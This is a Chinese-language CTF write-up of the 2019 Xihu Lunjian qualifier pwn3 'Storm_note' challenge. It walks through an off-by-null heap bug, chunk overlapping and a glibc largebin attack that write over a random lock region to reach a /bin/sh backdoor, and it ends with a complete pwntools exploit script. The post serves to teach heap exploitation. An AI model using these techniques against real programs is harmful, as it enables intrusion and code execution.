[关闭]
@H4l0 2019-04-11T15:03:20.000000Z 字数 8081 阅读 1157

2019 西湖论剑预选赛 pwn3 详解

pwn


前言

一道 off by null 的题,涉及到 largebin 的利用,是根据 2018 0ctf heapstorm2 魔改的题。当时没有做出来,赛后复现一下。

程序功能分析

程序总共四个功能:alloc、edit、delete、backdoor。

alloc

  1. if ( size > 0 && size <= 0xFFFFF )
  2. {
  3. note[idx] = calloc(size, 1uLL);
  4. note_size[idx] = size;
  5. puts("Done");

使用 alloc 函数 malloc 出一个堆块用来存储信息,将堆块指针放在 note 这个全局变量的 bss 段中,将堆块的 size 放在一个 note_size 的全局变量的 bss 段中。note 与 note_size 相邻。

  1. .bss:0000000000202060 note_size dd 10h dup(?) ; DATA XREF: alloc_note+E1o
  2. .bss:0000000000202060 ; edit_note+8Eo ...
  3. .bss:00000000002020A0 public note
  4. .bss:00000000002020A0 ; _QWORD note[16]
  5. .bss:00000000002020A0 note dq 10h dup(?) ; DATA XREF: alloc_note+2Do
  6. .bss:00000000002020A0 ; alloc_note+C6o ...
  7. .bss:00000000002020A0 _bss ends

delete

  1. if ( idx >= 0 && idx <= 15 && note[idx] )
  2. {
  3. free(note[idx]);
  4. note[idx] = 0LL;
  5. note_size[idx] = 0;
  6. }

free 操作之后置空了指针,不存在 uaf。所以这里没有可利用的点。

edit

  1. if ( idx >= 0 && idx <= 15 && note[idx] )
  2. {
  3. puts("Content: ");
  4. v2 = read(0, note[idx], note_size[idx]);
  5. *(note[idx] + v2) = 0; // off by null
  6. puts("Done");
  7. }

edit 时分别从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,所以这里存在 off by null 漏洞

init_proc

另外在程序最前面有一个初始化函数,先调用 mmap 函数匿名映射一段内存空间,接着写入 0x30 长度的随机字符写到这个内存空间中

  1. ssize_t init_proc()
  2. {
  3. ssize_t result; // rax
  4. int fd; // [rsp+Ch] [rbp-4h]
  5. setbuf(stdin, 0LL);
  6. setbuf(stdout, 0LL);
  7. setbuf(stderr, 0LL);
  8. if ( !mallopt(1, 0) ) // forbid fastbins
  9. exit(-1);
  10. if ( mmap(0xABCD0000LL, 0x1000uLL, 3, 34, -1, 0LL) != 0xABCD0000LL )// rw,fd = -1
  11. exit(-1);
  12. fd = open("/dev/urandom", 0);
  13. if ( fd < 0 )
  14. exit(-1);
  15. result = read(fd, 0xABCD0100LL, 0x30uLL); // read random data to mmap_space
  16. if ( result != 48 )
  17. exit(-1);
  18. return result;
  19. }

backdoor

程序中放了一个 backdoor 的函数。接收一个0 0x30 长度的输入,只要输入的内容和 mmap 段映射的内容相同即 getshell。

  1. void __noreturn backdoor()
  2. {
  3. char buf; // [rsp+0h] [rbp-40h]
  4. unsigned __int64 v1; // [rsp+38h] [rbp-8h]
  5. v1 = __readfsqword(0x28u);
  6. puts("If you can open the lock, I will let you in");
  7. read(0, &buf, 0x30uLL);
  8. if ( !memcmp(&buf, 0xABCD0100LL, 0x30uLL) )
  9. system("/bin/sh");
  10. exit(0);
  11. }

但是我们不知道随机字符的内容,这里有两种攻击思路
1. 使用输出函数 leak 出这块内存空间的值
2. 找到一处任意地址写,往 mmap 这个内存空间中填充我们构造的内容,在调用 backdoor 时就填入原来的内容就行了

考虑到这题没有可以输出的地方和可以 leak 的点,所以这里就只能使用第二张方法。

漏洞分析

先说一下整体的利用思路:
1. 先使用 off by null 进行 chunk shrink 从而达到 overlapping 的目的,总共利用两次。
2. 将 unsorted bin 放进 largebin 中
3. overlapping 伪造前一个 largebin 的 bk 指针,伪造下一个 largebin 的 bk 和 bk_nextsize

所以这题可以分为两部分来做,这里逐个来分析。

off by null 的利用

因为笔者也是刚接触 off by null,有的地方搞了很久才弄懂,所以这里讲的时候会结合 exp ,尽量把堆块构造的要点和利用链讲详细一些。

对于这道题,off by null 用在当 chunk 为 free 时,将 chunk 的 size 覆盖为 \x00,可以使堆块收缩。之后在这个 chunk 中 malloc 几个小块,free 掉他就可以得到 overlapping 的目的

具体步骤如下:

第一步,连续 alloc 7个 chunk

  1. add(0x18) # 1
  2. add(0x508) # 2
  3. add(0x18) # 3
  4. add(0x18) # 4
  5. add(0x508) # 5
  6. add(0x18) # 6
  7. add(0x18) # 7

这里其实是三个一组,总共两组,最后一个 chunk 是起到防止堆块被合并的作用。两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中

第二步,在大的 chunk 中先伪造好下一个 chunk 的 prev_size

  1. edit(1,'a'*0x4f0+p64(0x500))
  2. edit(4,'a'*0x4f0+p64(0x500))

图片.png-184.1kB

第三步,free chunk 1 并 edit chunk 0 来触发 off by null

  1. dele(1)
  2. edit(0,'a'*0x18)

image_1d8528plt1ldjejg1tnaqod1kc3t.png-768.4kB

这里的 chunk1 就被放进了 unsorted bin。

到这里 off by null 就触发完成,接下来对 chunk4、chunk5 也是一样的处理方法。这里就不细说了。

构造 overlapping 的条件

  1. add(0x18)
  2. add(0x4d8)

当 malloc 这两个堆块时,因为 fastbins 的机制被屏蔽,所以这里就从 unsorted bin 中寻找空闲的堆块

依次 malloc 时,这里发现原来 chunk1 是处于空闲状态,这个 chunk 的 size 为 0x500,实际能装下的大小为 0x500 - 2*SIZE_SZ = 0x4f0

这里 malloc 的两个堆块刚好把这个 chunk1 填充完:0x4d8+0x18=0x4f0,也就是 size 为 0x500 的可填充的大小。

此时查看我们原来伪造的 prev_size 的值的变化。

image_1d852n73m19bslcf2np1p47pbj19.png-54.5kB

因为前一块 chunk 从空闲状态变为 INUSE 时,prev_size 就变为 0,size 变为 1

但是在 0x560f747bc530 地址处的 prev_size 为 0x510,size 的 PREV_INUSE 位为 0,说明此时 0x560f747bc530-0x510 = 0x560f747bc020 处的堆块是出于空闲状态,也就是 chunk1 。

如果我们现在把指向 chunk1 的指针 free 掉,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块。

  1. dele(1)

图片.png-43.6kB

此时再将 chunk2 free 掉:

  1. dele(2)

堆块的排布如下:

此时 note+56 处指向的堆块,也就是 chunk7 就已经被覆盖了。

图片.png-55.9kB

这时只要再 alloc 一块大于等于 0x30 的堆块,这个堆块也是从 0x531 这个块中分割一部分下来,往里面填充内容就可以覆盖到 chunk7 的 memory 中。

  1. add(0x30)
  2. edit(7,'ffff') // 测试 chunk7 是否可编辑
  3. add(0x4e0)

如图,这里的 chunk7 已经被 overlapping 了,编辑 chunk1 就可以覆盖 chunk7 的内容。

图片.png-52.9kB

接下来我们继续在后面的堆块中再次构造一个 overlapping ,方法和上面的一样

  1. dele(4)
  2. edit(3,'a'*0x18) // off by null
  3. add(0x18)
  4. add(0x4d8)
  5. dele(4)
  6. dele(5)
  7. add(0x40) // 这里为 0x40 要而前面是 0x30
  8. edit(8,'ffff')

largebin 的特点

要伪造 largebin 的指针域,首先要了解 largebin 的分配特点,具体的可以看这里。这里还是重点讲解如何利用。

对于堆块的结构:

  1. struct malloc_chunk {
  2. INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  3. INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
  4. struct malloc_chunk* fd; /* double links -- used only if free. */
  5. struct malloc_chunk* bk;
  6. /* Only used for large blocks: pointer to next larger size. */
  7. struct malloc_chunk* fd_nextsize;
  8. struct malloc_chunk* bk_nextsize;

将 unsorted bin 的块放入 largebin 中

前两步我们将 alloc 了大小为 0x4e0 的 chunk2,所以他现在出于使用状态,接下来就要将他重新 free 掉。

  1. dele(2)
  2. add(0x4e8) // put chunk4 into largebin
  3. dele(2)

一步步来看,首先第一次 free 时,发现 chunk5 已经是处在 unsorted bin 中的空闲状态,所以当 free(2) 时,就将双链表把 chunk2 和 chunk5 连接起来放入 unsorted bin 中。

图片.png-49.4kB

第二步,重新 alloc 一个 0x4e8 的 chunk 时,根据 unsorted bin 的 FIFO 的特点,会检查 chunk5 的大小是否满足我们的需要,因为 size=(0x4e1-0x11=0x4f0)<0x4e8,所以这次会 alloc 回原来的位置,并且把 chunk5 放入 largebin 中

图片.png-47.2kB

可以看到这个 largebin 位于 main_arena+1160 处

图片.png-67.8kB

第三步,再次 free 掉 chunk2。这次就又将 chunk2 放回 unsorted bin 中。

图片.png-38.2kB

伪造指针

首先是根据前面的 chunk7 来控制已经是空闲状态的 chunk2 的 bk 的值。

  1. content_addr = 0xabcd0100
  2. fake_chunk = content_addr - 0x20
  3. payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
  4. payload += p64(0) + p64(fake_chunk) # bk
  5. edit(7,payload)

图片.png-21.9kB

同样的通过 edit(8) 来控制 chunk5 的内容。

  1. payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size
  2. payload2 += p64(0) + p64(fake_chunk+8)
  3. payload2 += p64(0) + p64(fake_chunk-0x18-5)
  4. edit(8,payload2)

伪造 bk 和 bk_nextsize:

图片.png-51.1kB

将 bk、bk_nextsize 都布置好之后,接下来再 alloc 一个小块,就会被分配到 0xabcd00f0 这个位置。

触发后门

接下来需要 alloc 一个 0x40 的 chunk,当 malloc 这个 chunk 时,首先会遍历 unsorted bin,从第一个 unsorted bin 的 bk 指针开始遍历(chunk2 的 bk 指针)。

  1. add(0x40)

在 chunk2 中,这里我们伪造的是 bk=0xabcd0100-0x20=0xabcd00e0,发现 bk 指向的 chunk 的 size 为 0 不合适,这时和前面的步骤一样,将 chunk2 从 unsorted bin 中脱链放进 largebin 中

这个过程会完成:

  1. fwd->bk_nextsize->fd_nextsize=victim
  2. fwd->bk=victim
  3. 在这里等价于:
  4. chunk5->bk_nextsize->fd_nextsize = chunk2
  5. chunk5->bk = chunk2

那对于还没有分配之前来说,堆排布如下:

  1. chunk2
  2. 0x55e2396f2060: 0x0000000000000000 0x00000000000004f1
  3. 0x55e2396f2070: 0x0000000000000000 0x00000000abcd00e0 <-bk
  4. 0x55e2396f2080: 0x0000000000000000 0x0000000000000000
  5. 0x55e2396f2090: 0x0000000000000000 0x0000000000000000
  6. chunk5
  7. 0x55e2396f25c0: 0x0000000000000000 0x00000000000004e1
  8. 0x55e2396f25d0: 0x0000000000000000 0x00000000abcd00e8 <-bk
  9. 0x55e2396f25e0: 0x0000000000000000 0x00000000abcd00c3
  10. 0x55e2396f25f0: 0x0000000000000000 0x0000000000000000

在 add(0x40) 之后,情况应该是:

  1. 1. 0xabcd00c3->fd_nextsize = 0x55e2396f2060
  2. *0xabcd00e3 = 0x55e2396f2060
  3. 2. 0x55e2396f25c0->fd = 0x55e2396f2060
  4. *0x55e2396f25d8 = 0x55e2396f2060

验证一下,情况确实和我们预想的一样。

图片.png-48.4kB

所以这里在完成 unlink 操作后,这个 chunk 最后我们会分配到 0xabcd00f0 地址。

这里伪造的 size 为 0x56,因为受到 PIE 的影响这个值会有偏差,所以这里 alloc 失败的话可以多试几次。

图片.png-48.7kB

此时的 chunk2 从 0xabcd00f0 开始填充,后面的 0x40 的大小区域都可控,所以这里只需要预先填入准备好的值,后面输入 666 就可以进入到后门函数,再次填入这个值即可通过判断,进而 getshell。

  1. payload = p64(0) * 2+p64(0) * 6
  2. edit(2,payload)
  3. p.sendlineafter('Choice: ','666')
  4. p.send(p64(0)*6)

exp

  1. from pwn import *
  2. p = process('./Storm_note')
  3. def add(size):
  4. p.recvuntil('Choice')
  5. p.sendline('1')
  6. p.recvuntil('?')
  7. p.sendline(str(size))
  8. def edit(idx,mes):
  9. p.recvuntil('Choice')
  10. p.sendline('2')
  11. p.recvuntil('?')
  12. p.sendline(str(idx))
  13. p.recvuntil('Content')
  14. p.send(mes)
  15. def dele(idx):
  16. p.recvuntil('Choice')
  17. p.sendline('3')
  18. p.recvuntil('?')
  19. p.sendline(str(idx))
  20. add(0x18)
  21. add(0x508)
  22. add(0x18)
  23. add(0x18)
  24. add(0x508)
  25. add(0x18)
  26. add(0x18)
  27. edit(1,'a'*0x4f0+p64(0x500))
  28. edit(4,'a'*0x4f0+p64(0x500))
  29. dele(1)
  30. edit(0,'a'*0x18)
  31. add(0x18)
  32. add(0x4d8)
  33. dele(1)
  34. dele(2)
  35. add(0x30)
  36. edit(7,'ffff')
  37. add(0x4e0)
  38. dele(4)
  39. edit(3,'a'*0x18)
  40. add(0x18)
  41. add(0x4d8)
  42. dele(4)
  43. dele(5)
  44. add(0x40)
  45. edit(8,'ffff')
  46. dele(2)
  47. add(0x4e8) # put chunk5 to largebin
  48. dele(2)
  49. content_addr = 0xabcd0100
  50. fake_chunk = content_addr - 0x20
  51. payload = p64(0)*2 + p64(0) + p64(0x4f1) # size
  52. payload += p64(0) + p64(fake_chunk) # bk
  53. edit(7,payload)
  54. payload2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
  55. payload2 += p64(0) + p64(fake_chunk+8)
  56. payload2 += p64(0) + p64(fake_chunk-0x18-5)
  57. edit(8,payload2)
  58. add(0x40)
  59. payload = p64(0) * 2+p64(0) * 6
  60. edit(2,payload)
  61. p.sendlineafter('Choice: ','666')
  62. p.send(p64(0)*6)
  63. p.interactive()

图片.png-36.7kB

总结

这题的难点在于构造 largebin 以及如何使用 largebin attack 来达到任意地址写的目的。若这题不存在 PIE 的话直接使用 unlink 就可以很快解出,所以这题的思想也在于对于 PIE 保护的处理。

参考资料

https://blog.csdn.net/weixin_40850881/article/details/80293143

https://mp.weixin.qq.com/s/rlSyABoulRKygPmwfcUuXA?client=tim&ADUIN=1179317825&ADSESSION=1554624433&ADTAG=CLIENT.QQ.5603_.0&ADPUBNO=26882

http://blog.eonew.cn/archives/709?tdsourcetag=s_pctim_aiomsg

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注